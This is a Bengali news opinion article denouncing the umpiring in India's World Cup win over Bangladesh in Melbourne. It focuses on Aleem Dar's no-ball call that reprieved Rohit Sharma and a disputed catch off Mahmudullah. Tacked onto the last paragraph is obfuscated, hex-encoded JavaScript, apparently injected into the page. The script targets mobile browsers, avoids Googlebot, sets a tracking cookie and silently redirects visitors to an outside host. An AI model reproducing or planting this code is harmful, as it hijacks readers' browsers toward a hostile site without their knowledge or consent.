ভারতের ‘লজ্জার জয়’

shikhor
নিজস্ব প্রতিবেদক :  ক্রিকেটকে কী এখন আর ভদ্রলোকের খেলা বলা যায়? আজকের পর থেকে অসংখ্য মানুষের মনে এ কঠিন প্রশ্নটি উঁকি দেবে। ক্রিকেট ভদ্রলোকেরই খেলা। কিন্তু এখন এ খেলাটিকে চালায় কিছু অভদ্রলোক। অভদ্র কিছু মানুষের পকেটে চলে গেছে ক্রিকেট। বিশ্ব ক্রিকেটাঙ্গন তাই রীতিমতো কলূষিত। বাংলাদেশ ও ভারতের ক্রিকেটে ঐতিহ্য আর শক্তির ব্যবধান অনেক। এ দুই দেশের লড়াই মানেই ফেভারিট ভারত। মন সায় না দিলেও এটাই কঠিন বাস্তবতা। কিন্তু আজ (বৃহস্পতিবার) মেলবোর্নে যা ঘটলো তা রীতিমতো ঘৃনার। নিরপেক্ষ আম্পায়ারিং হলে হয়তো ভারতই জিততো। তাতে মন খারাপ হলেও ক্ষোভের কিছু থাকতো না। কিন্তু বর্তমান চ্যাম্পিয়নরা ট্রফি ধরে রাখার মিশনে টিকে থাকতে যেভাবে আম্পায়ারদের কাজে লাগালো তা কোনো পাড়া-মহল্লার খেলাতেও হয় না। আম্পায়াররা আসলে ভারতকে জিতিয়েছে বাংলাদেশকে হারিয়ে নয়। তারা হারিয়ে দিয়েছে ক্রিকেটকে। ভারতের জয়টা তাই লজ্জার। হেরেও মাথা উঁচু করে দেশে ফিরবে টাইগাররা। এ ম্যাচে নৈতিক জয় হয়েছে বাংলাদেশেরই।

৩৩৩ রানের লক্ষ্যে খেলতে নেমে বাংলাদেশ করেছে ১৯৩ রান। পরাজয়ের ব্যবধান ১০৯ রান। নিন্দুকেরা বলার চেষ্টা করবে ভারতের রান আরও কম হলেই কী হতো ? বাংলাদেশ হারতই। কে জিততো কে হারতো তা খেলা শুরুর আগে বলা কঠিন। তবে ভারতের রান ৩০০ পার না হলে বাংলাদেশের লক্ষ্যটা আয়ত্বের মধ্যেই থাকতো। রোহিত শর্মাকে আম্পায়ার বাঁচিয়ে না দিলে ভারতের পক্ষে এত রান করা সম্ভব ছিল না। ধোনী আর আম্পায়রারা মিলে ক্রিকেটে যে কলঙ্কের অধ্যায় রচনা করলো তাতে বলাই যায় ‘ভদ্রলোকের খেলা এখন কিছু অভদ্রলোকের খপ্পরে।

not-out
আজ বাংলাদেশকে হারানোর নায়ক পাকিস্তানি আম্পায়ার আলিম দার, ইংলিশ আম্পায়ার ইয়ান গৌল্ড এবং টিভি আম্পায়ার জেমস ডেভিস। বিশেষ করে পাকিস্তানী আলিম দার। তার ডাকা নো বলেই সর্বনাশ হয়েছে বাংলাদেশের। রুবেল বল করার সময় আলিম দার ছিলেন স্কয়ার লেগে দাঁড়ানো। তার সঙ্কেতেই নো বল ডেকেছেন ইংলিশ আম্পয়ার ইয়ান গৌল্ড। রোহিত শর্মা ব্যক্তিগত ৯৫ রানে ধরা পড়েছিলেন ইমরুল কায়েসের হাতে। ভারতের রান তখন ছিল ৩৯.৩ ওভারে ৩ উইকেটে ১৯৫। দুই আম্পায়ার মিলে ভারতকে উপহার দেয় ‘নো বল’।

no-ball
আলিম দারের এহেন জঘন্য সিদ্ধান্তে কেবল বাংলাদেশের সমর্থকরাই হতাশ হয়নি, হতাশ হয়েছে বিশ্বের ক্রিকেটাঙ্গন। অস্ট্রেলিয়ান সাবেক স্পিনার শেন ওয়ার্ন তখন টিভির ধারাভাষ্যে ছিলেন। ‘এ ধরনের সিদ্ধান্ত আসলেই হতাশার। বাংলাদেশ একটি উইকেট থেকে বঞ্চিত হলো। বল কোনোভাবেই কোমরের উপরে ছিল না। আলিম দার এটা কি করলেন। নিশ্চিয়ই তিনি আত্মবিশ্বাস হারিয়ে ফেলেছেন-বলেছেন ওয়ার্ন। ভারতের সাবেক ক্রিকেটার লক্ষন আম্পায়ারদের সিদ্ধান্তের পর টুইট করেছেন ‘এটি একটি বাজে সিদ্ধান্ত। বল কোমরের নিচেই ছিল। সৌভাগ্যক্রমে জীবন পেলেন রোহিত। এ সিদ্ধান্তে ভারত বেশি রান করার সুযোগ পেলো।
কেবল আজকের ম্যাচেই নয়, আলিম দারের আম্পায়ারিং নিয়ে আরও বিতর্ক আছে এ বিশ্বকাপে। গ্রুপ পর্বে অস্ট্রেলিয়া ও ইল্যান্ড ম্যাচেও তিনি এ ধরনের বাজে সিদ্ধান্ত দিয়েছেন।
বাংলাদেশ ইনিংসে মাহমুদুল্লাহ রিয়াদের আউটও পক্ষপাতিত্বমুলক। মোহাম্মদ সামির বলে শিখর ধাওয়ান যখন রিয়াদের ক্যাচ নেন তখন তার পা ছিল বাউন্ডারি সার্কেলের সঙ্গে লাগানো। টিভি আম্পায়ার বিভিন্ন কোন থেকে না দেখেই অতি উৎসাহিত হয়ে আউটের সিদ্ধান্ত দেন। প্রকৃতপক্ষে যা ছিল ছক্কা।var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}